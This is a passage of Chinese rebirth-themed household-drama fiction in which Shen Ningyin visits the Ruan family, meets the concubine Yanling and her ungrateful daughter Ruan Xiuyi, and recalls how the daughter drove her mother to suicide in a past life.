偏偏其中有个花名艳伶的是个例外，阮老爷很是疼宠，在阮太太跟前也十分懂事，哪怕跪瓷片跪到膝盖血肉模糊，也不吭半声，执礼恭敬，万般柔顺。
阮太太从恨极变为怜悯，就抬了做姨娘。哪知道，那艳姨娘后来竟破天荒怀了身孕。就在阮太太心下猜疑的当口，她偏又得了上天恩眷，生的是个闺女。
艳姨娘算是为数不多，拿着一手烂牌，却一路越活越好命的一个苦命人。
是任何人都要羡慕一句好命的。
但经历了前世，沈宁音却是最可惜她。人在泥潭，心向光明，坚韧至极之人，连老天都垂怜的女子，偏偏生了个白眼狼。
阮秀仪坐在绣敦子上正绣着嫁妆。丫鬟走过去，喊：“秀姑娘，有客来。”
绣花针一下子扎破了指尖，阮秀仪连忙含至嘴里止血，忙慌慌站了起来，她一双眼睛似猫儿，漂亮，带着几分怯。
“这位姐姐是？”阮秀仪打量沈宁音。
沈宁音也在看着她，丫鬟没什么好脸色：“这是昌平侯府二少夫人，宁音夫人。”
因是从沈家出嫁，阮家也没认回闺女，阮家人便只称她的名。
而阮秀仪，因是庶出，原是没排进排行里头，称一句秀姑娘，是看轻的。
但沈宁音前世偏巧知道，阮秀仪恨毒了这称呼。
阮秀仪脸上闪过一抹怨恨，咬着桃花般的红唇，脸上堆了个不自然的笑容：“二少夫人。”
沈宁音脸上摆出个惯常的微笑：“叫我姐姐便好。”
阮秀仪从善如流，沈宁音便朝一旁的兰香示意，兰香送上去一串红玛瑙项链。
看着那红艳艳的玛瑙首饰，阮秀仪目光再落于沈宁音脸上时候，带上了七八分羡慕，余下的，皆是贪婪。
“多谢姐姐。”
阮家是商贾家庭，阮夫人手段高，阮家子女都是从她肚里爬出来的，唯独两个例外，一个沈弦思，被错当成嫡女养大，要什么给什么，唯一的幺女，养大后又是上京大官的闺女。于情于利，都是一贯的宠着。
只有个阮秀仪。
最是合适拿来卖了得利益的。
阮夫人在这方面，从来都是敲骨吸髓将一切榨个干净。
前世即便是阮夫人亲女的沈宁音，没养在膝下、还身败名裂，照旧没什么好下场。更遑论阮秀仪这个妾生女。
可偏偏阮秀仪看不透，一心只想跟着阮夫人。前世的艳伶赐了她两次性命。第一次是拼着性命生下了她。
第二次，冒天下之大不韪，将拼了半辈子的贤良名声毁去，也要拦着阮夫人将女儿秀仪记在名下嫁出去。
艳伶爱女儿，为了她付出一切，却被白眼狼闺女背叛。阮秀仪嫁给艳伶精挑细选的女婿后，时常找母亲要东西。每次趾高气扬地拿走母亲攒下的体己，还要被阮秀仪视作侮辱，只会给艳伶更多的辱骂和伤害。
沈宁音有时候觉得，艳姨娘比自己前世更傻，却又更无解。
有哪个母亲能从母爱里头抽身？
从那么小，那么软糯的小包子一点点倾注血汗养大的孩子，谁又会主动地防备，主动地放下？
沈宁音有多可怜艳伶，就有多不喜欢阮秀仪。
过一会儿，便有小丫鬟来传话。沈宁音注意到那丫鬟刚走到门口，阮秀仪的脸色就难看起来。
“秀姑娘，姨娘找您……”
“不见！”阮秀仪蓦然从杌子噌起来：“要我说多少次！你滚远些！”
丫鬟白了脸色，不知所措地看向没见过的陌生面孔沈宁音。
阮秀仪大约也是意识到自己言语粗鄙，失态又失礼，她连忙惊慌失措地捋了下肩上垂落的青丝，道：“姐姐，是丫鬟们不懂事，我怕她惊扰了你，适才情急之下才……我这就把她撵走。”
阮秀仪说着就吩咐贴身丫头去撵人。
那丫头刚走了两步就给人拦住了。
春渠面无表情站在丫鬟跟前，也不让路。将才沈宁音只给了个眼神。
阮秀仪堪堪愣住，不安地望过去时，见沈宁音勾唇露出个笑：“母亲让妹妹带我熟悉下家里，正巧艳姨娘要同妹妹说话，我也没见过她，就同你一道去瞧瞧吧。”
沈宁音站起身，几个打扮得极称头的丫鬟簇拥在她身边儿。阮秀仪原本听着艳姨娘就烦，这会儿沈宁音都说到这个份上了，她只得硬着头皮点了头：“……好。”
艳伶名字招摇，住的地方、脾性却大相径庭地很低调。说一句人淡如菊也不为过。
她也算是为数不多不争不抢本性良善之人。前世沈宁音给人作践，下人们捧高踩低，唯独艳伶不曾落井下石过。
甚至前世在沈宁音备受冷遇独自落泪时，是艳伶不声不响给她递过一盒酥饼。
如今想来，大约是整个府邸能叫人瞧不起的也就庶出女阮秀仪还有个沈宁音。艳伶看着那时的沈宁音，想起了女儿吧。
从来只有着锦的鲜花，却唯独雪中的炭火，最叫人记得清晰。
阮秀仪看着那
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院墙，眉头掩饰不住蹙紧，眼底的嫌恶几乎要溢出来。即便沈宁音如今的地位任谁都能瞧出来地高，也抵不过阮秀仪此刻的不适，她僵着笑容：“姨娘就在里头，不如姐姐自去拜会吧。”
“你不去？”沈宁音不动声色。
阮秀仪抿着唇，移开了目光：“姨娘喜静，我等姐姐拜访完自会去。”
春渠道：“太太吩咐了姑娘带我家少夫人去各处看，可没叫少夫人自己逛……”
“这……”阮秀仪眉头越皱越紧。
春渠只当是她慢待自家主子，思忖着便是逼也得逼着她领路。不过也没等春渠在说话，沈宁音已经抬手阻了。
沈宁音笑容温柔：“不妨事，我自去也行。”
她原也不耐烦与这种人多待。
沈宁音举步进了院子，小院并不大，跟阮家别处就像是两个阶层。
冷清、独立。
若说外头的繁华、琉璃翠瓦，似空中楼阙，这处地方却难得有点人间凡气。
院子角落辟出了一个小鸡舍，瘦削的妇人正坐在凳子上喂鸡。
沈宁音走到近前，那妇人才似将将察觉般站起身来。艳伶五官清丽绝俗，肤色白净，只是三十多岁年纪脸颊上的肉已然凹陷下去，看起来愈发显得精神疲乏。
沈宁音上前两步，扶着她，脸上笑容带了两分真心：“艳姨娘，我叫沈宁音。”
阮家没有养恩，前世更没给过她温情，沈宁音介绍自个儿时候没有用阮姓，她丝毫不见压力。
略略提了下自己同阮家的渊源，沈宁音下细打量，艳伶并无什么情绪波动。
她便知，艳姨娘是个通透的，阮家种种，她一直都清楚本质。
可惜的是，艳伶能看透旁的，却终究灯下黑，没看清自己的女儿。
沈宁音暗自决定，这辈子，她须得叫艳伶看清楚阮秀仪的嘴脸。
“秀仪约莫是没想明白。”艳伶听闻阮秀仪不肯同来，嘴角压抑出几分苦笑：“那吕郎中是个好的，她只是还没嫁人，等嫁过去了，她就会知晓那人的好。”
艳伶没看错人，沈宁音前世是听了一耳朵的，那吕郎中家境殷实，又有挣钱的手艺，家母早逝，吕家人口简单，倘使阮秀仪肯好好过日子，也能过的。
只是，阮秀仪没了记在嫡母名下的名头，又有沈弦思这个曾经的养女风风光光的前情在，她只当艳伶自私，非挡着她的好日子，样样都要跟人攀比，吕郎中赚的钱再多，又哪里比得上阮家的大手大脚，生活上更是差着昌平侯少夫人沈弦思不知多少。
最后吕家给阮秀仪败光，吕郎中苦劝不果，阮秀仪就日日想着回家逼着自家母亲给。
沈宁音后来离开姑苏日久，只收到个不起眼的信笺，说了一桩家丑，艳姨娘在一年冬日上吊自戕了。阮秀仪逼死了母亲不算，还拿艳伶的死卖了一回惨，在娘家讨了百两银。
“姨娘说的是，秀仪妹妹往后定会明白的。”沈宁音笑着顺嘴应和。
艳伶不会知晓，阮秀仪嫁过去后，不会知道丈夫的好，更不会知道母亲的爱。
她只会怪上天不公，怪母亲不慈，怪自己没个好出身。